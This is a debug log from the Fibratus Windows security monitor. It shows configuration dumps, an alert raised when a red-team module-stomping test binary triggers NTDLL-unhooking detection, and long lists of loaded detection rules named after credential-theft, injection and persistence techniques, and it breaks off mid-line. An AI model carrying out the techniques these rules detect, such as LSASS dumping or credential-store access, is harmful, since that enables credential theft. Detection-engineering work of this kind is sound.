CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:06:27+01:00 level=info msg=bootstrapping with pid 5508. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:06:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html use-template=>true to=>[] port=>25 enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-registry=>true min-buffers=>16 enable-vamap=>true enable-handle=>false enable-mem=>false buffer-size=>512 stack-enrichment=>true enable-dns=>false enable-image=>true max-buffers=>36 enable-fileio=>true enable-threadpool=>false enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true flush-interval=>1s enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text log-stdout=>true level=>info max-backups=>15] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] method=>POST enabled=>false serializer=>json] amqp=>[ timeout=>5s vhost=>/ exchange=>fibratus url=>amqp://localhost:5672 passive=>false durable=>false exchange-type=>topic enabled=>false tls-insecure-skip-verify=>false delivery-mode=>transient routing-key=>fibratus] elasticsearch=>[ healthcheck-interval=>10s index-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck=>true template-name=>fibratus healthcheck-timeout=>5s timeout=>5s bulk-workers=>1 gzip-compression=>false trace-log=>false sniff=>false enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true scan-timeout=>10s enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-mmaps=>false skip-registry=>false excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:06:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:06:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:07:00+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 2510461 + Pid: 2064 + Tid: 9764 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 17:06:58.5851046 +0100 CET + Params: base_address➜ 23d8f4a0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2064, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.name: Potential NTDLL memory unhooking, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 2064 + + Pid: 2064 + Ppid: 17996 + UUID: 1762877220719644412 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 2510232 + Pid: 2064 + Tid: 9764 + Type: SetThreadContext + CPU: 4 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 17:06:58.6685177 +0100 CET + Params: status➜ The handle is invalid + Metadata: rule.seq.link: 2064, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.name: Potential NTDLL memory unhooking + + Pid: 2064 + Ppid: 17996 + UUID: 11651379566778910736 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T17:07:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:07:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:07:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:09:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:09:01+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:09:01+01:00 level=info msg=bootstrapping with pid 13096. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:09:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false to=>[] port=>25 content-type=>text/html use-template=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-image=>true stack-enrichment=>true enable-dns=>false buffer-size=>512 enable-thread=>true flush-interval=>1s max-buffers=>36 enable-mem=>false enable-threadpool=>false enable-fileio=>true enable-net=>true enable-vamap=>true enable-audit-api=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 max-backups=>15 level=>info max-size=>100 log-stdout=>true] + output ......................... [ http=>[ enabled=>false serializer=>json endpoints=>[] method=>POST enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s] elasticsearch=>[ healthcheck-interval=>10s template-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1 sniff=>false healthcheck=>true gzip-compression=>false enabled=>false timeout=>5s healthcheck-timeout=>5s flush-period=>1s trace-log=>false index-name=>fibratus] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic durable=>false routing-key=>fibratus enabled=>false passive=>false vhost=>/] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-files=>false enabled=>false skip-mmaps=>false skip-allocs=>false excluded-procs=>[] scan-timeout=>10s skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:09:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:09:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:09:51+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from 